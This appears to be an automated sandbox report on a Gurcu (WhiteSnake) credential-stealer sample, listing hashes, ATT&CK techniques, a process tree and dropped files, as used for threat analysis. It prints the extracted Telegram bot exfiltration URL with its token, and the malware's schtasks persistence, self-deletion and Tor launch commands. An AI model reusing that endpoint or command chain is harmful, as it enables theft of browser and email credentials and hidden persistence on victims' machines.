gurcu | 7e2371898d8c9121075812f5b9a57de66e7a11ac686042ac6bf59c07b2ad51a2

Analysis

max time kernel
13s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
14-09-2023 05:35

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General

Target

t536f0746f287ffe6c9131c.exe
Size

386KB
MD5

e4d3a1d9c41d306200aa39ee9f718474
SHA1

7af7cd1865189d69c94fdb28d38b090d322fb134
SHA256

7e2371898d8c9121075812f5b9a57de66e7a11ac686042ac6bf59c07b2ad51a2
SHA512

6fa7a52bedf77f2ff42d4042a6d4381003e63b38038062b89b7a69395db1dd2a44ac449036f901dabf2d1aaffef0e463d7c347f5c360bb72d2cc3f932358d186
SSDEEP

6144:+2G9h7IouE6yrJTe4nPF9bCGV0fAaxYt:+th7d68e4P+GV0fApt

Score

10^/10

gurcu collection spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6193093056:AAHzyNGUGS9aUG6CCx6ENLoXpCFLzEQywIQ/sendMessage?chat_id=1098292643

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Control Panel\International\Geo\Nation	t536f0746f287ffe6c9131c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Control Panel\International\Geo\Nation	t536f0746f287ffe6c9131c.exe

Executes dropped EXE 3 IoCs

pid	Process
2320	t536f0746f287ffe6c9131c.exe
1192	tor.exe
4128	t536f0746f287ffe6c9131c.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	t536f0746f287ffe6c9131c.exe
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	t536f0746f287ffe6c9131c.exe
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	t536f0746f287ffe6c9131c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1448	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5008	PING.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3956	t536f0746f287ffe6c9131c.exe
Token: SeDebugPrivilege	2320	t536f0746f287ffe6c9131c.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3956 wrote to memory of 1904	3956	t536f0746f287ffe6c9131c.exe	85
PID 3956 wrote to memory of 1904	3956	t536f0746f287ffe6c9131c.exe	85
PID 1904 wrote to memory of 4416	1904	cmd.exe	87
PID 1904 wrote to memory of 4416	1904	cmd.exe	87
PID 1904 wrote to memory of 5008	1904	cmd.exe	88
PID 1904 wrote to memory of 5008	1904	cmd.exe	88
PID 1904 wrote to memory of 1448	1904	cmd.exe	94
PID 1904 wrote to memory of 1448	1904	cmd.exe	94
PID 1904 wrote to memory of 2320	1904	cmd.exe	96
PID 1904 wrote to memory of 2320	1904	cmd.exe	96
PID 2320 wrote to memory of 3324	2320	t536f0746f287ffe6c9131c.exe	99
PID 2320 wrote to memory of 3324	2320	t536f0746f287ffe6c9131c.exe	99
PID 2320 wrote to memory of 1192	2320	t536f0746f287ffe6c9131c.exe	102
PID 2320 wrote to memory of 1192	2320	t536f0746f287ffe6c9131c.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	t536f0746f287ffe6c9131c.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2415528079-3794552930-4264847036-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	t536f0746f287ffe6c9131c.exe

C:\Users\Admin\AppData\Local\Temp\t536f0746f287ffe6c9131c.exe
"C:\Users\Admin\AppData\Local\Temp\t536f0746f287ffe6c9131c.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "t536f0746f287ffe6c9131c" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\t536f0746f287ffe6c9131c.exe" &&START "" "C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4416
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:5008
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "t536f0746f287ffe6c9131c" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1448
- - C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe
    "C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:2320
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -xvzf "C:\Users\Admin\AppData\Local\Temp\tmp7927.tmp" -C "C:\Users\Admin\AppData\Local\wfilbrsbzp"
      4⤵
      PID:3324
  - - C:\Users\Admin\AppData\Local\wfilbrsbzp\tor\tor.exe
      "C:\Users\Admin\AppData\Local\wfilbrsbzp\tor\tor.exe" -f "C:\Users\Admin\AppData\Local\wfilbrsbzp\torrc.txt"
      4⤵
      Executes dropped EXE
      PID:1192

C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe
C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe
1⤵
- Executes dropped EXE
PID:4128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\t536f0746f287ffe6c9131c.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe

Filesize
386KB

MD5
e4d3a1d9c41d306200aa39ee9f718474

SHA1
7af7cd1865189d69c94fdb28d38b090d322fb134

SHA256
7e2371898d8c9121075812f5b9a57de66e7a11ac686042ac6bf59c07b2ad51a2

SHA512
6fa7a52bedf77f2ff42d4042a6d4381003e63b38038062b89b7a69395db1dd2a44ac449036f901dabf2d1aaffef0e463d7c347f5c360bb72d2cc3f932358d186

Download Submit
C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe

Filesize
386KB

MD5
e4d3a1d9c41d306200aa39ee9f718474

SHA1
7af7cd1865189d69c94fdb28d38b090d322fb134

SHA256
7e2371898d8c9121075812f5b9a57de66e7a11ac686042ac6bf59c07b2ad51a2

SHA512
6fa7a52bedf77f2ff42d4042a6d4381003e63b38038062b89b7a69395db1dd2a44ac449036f901dabf2d1aaffef0e463d7c347f5c360bb72d2cc3f932358d186

Download Submit
C:\Users\Admin\AppData\Local\TeamViewer\t536f0746f287ffe6c9131c.exe

Filesize
386KB

MD5
e4d3a1d9c41d306200aa39ee9f718474

SHA1
7af7cd1865189d69c94fdb28d38b090d322fb134

SHA256
7e2371898d8c9121075812f5b9a57de66e7a11ac686042ac6bf59c07b2ad51a2

SHA512
6fa7a52bedf77f2ff42d4042a6d4381003e63b38038062b89b7a69395db1dd2a44ac449036f901dabf2d1aaffef0e463d7c347f5c360bb72d2cc3f932358d186

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7927.tmp

Filesize
13.3MB

MD5
89d2d5811c1aff539bb355f15f3ddad0

SHA1
5bb3577c25b6d323d927200c48cd184a3e27c873

SHA256
b630008f6d3887793d48b87091e56691e292894dd4fa100dc4a418a2f29dcc12

SHA512
39e576124c54143520c5435a2ef9b24506131e13403489c0692f09b89135015d611c4988d4772f8a1e6557fa68b4667d467334461009cee8c2227dfc3e295289

Download Submit
C:\Users\Admin\AppData\Local\wfilbrsbzp\host\hostname

Filesize
64B

MD5
e5ea098def9f25898031bbacfb9aaa15

SHA1
3950d045ca6c5c06860f1f8fdf1c7e6030288afe

SHA256
af3edff20a2a530133e2816119b34d8c85ce01982b072f5163c57cd34cdde6a8

SHA512
fe89752a6aaa9422ffdce301a18f1528c9183918d68c75390f68a68d6bc2db68e57cb9451acfdb5d1105d05847d398f8c0f460b8a27dde779d64cdc133118ea4

Download Submit
C:\Users\Admin\AppData\Local\wfilbrsbzp\tor\tor.exe

Filesize
7.4MB

MD5
88590909765350c0d70c6c34b1f31dd2

SHA1
129b27c3926e53e5df6d44cc6adf39c3a8d9ebf7

SHA256
46fe244b548265c78ab961e8f787bc8bf21edbcaaf175fa3b8be3137c6845a82

SHA512
a8af08d9169a31a1c3419d4e6e8fbe608c800d323840563b5a560d3e09e78a492201f07cc0d3864efbff8ad81e59885fc43a6b749e0a3377aa8555df258af192

Download Submit
C:\Users\Admin\AppData\Local\wfilbrsbzp\tor\tor.exe

Filesize
7.4MB

MD5
88590909765350c0d70c6c34b1f31dd2

SHA1
129b27c3926e53e5df6d44cc6adf39c3a8d9ebf7

SHA256
46fe244b548265c78ab961e8f787bc8bf21edbcaaf175fa3b8be3137c6845a82

SHA512
a8af08d9169a31a1c3419d4e6e8fbe608c800d323840563b5a560d3e09e78a492201f07cc0d3864efbff8ad81e59885fc43a6b749e0a3377aa8555df258af192

Download Submit
C:\Users\Admin\AppData\Local\wfilbrsbzp\torrc.txt

Filesize
218B

MD5
0fadedfa2c5fb8bc83dd0cedf70bbc13

SHA1
e2129c5ab96b438925b8cee8044b5ee77b3025bc

SHA256
3c6793b6c45631ef0c9c7b659ccb22f0b7276e2f3a9d3a18d71186758e2a31ea

SHA512
608ce02a3801452bf313fd5ccf5e7a32a4215e85066fca8b5e994e93ddd0152678d5472fa58353caa16e8862dca1d70bdc0bf909c9d968ca8c2dc519b3683c2e

Download Submit
memory/2320-11-0x00007FF892920000-0x00007FF8933E1000-memory.dmp

Filesize
10.8MB

Download
memory/2320-12-0x000001776E780000-0x000001776E790000-memory.dmp

Filesize
64KB

Download
memory/3956-6-0x00007FF893950000-0x00007FF894411000-memory.dmp

Filesize
10.8MB

Download
memory/3956-2-0x000002317D460000-0x000002317D470000-memory.dmp

Filesize
64KB

Download
memory/3956-0-0x000002317ACD0000-0x000002317AD36000-memory.dmp

Filesize
408KB

Download
memory/3956-1-0x00007FF893950000-0x00007FF894411000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads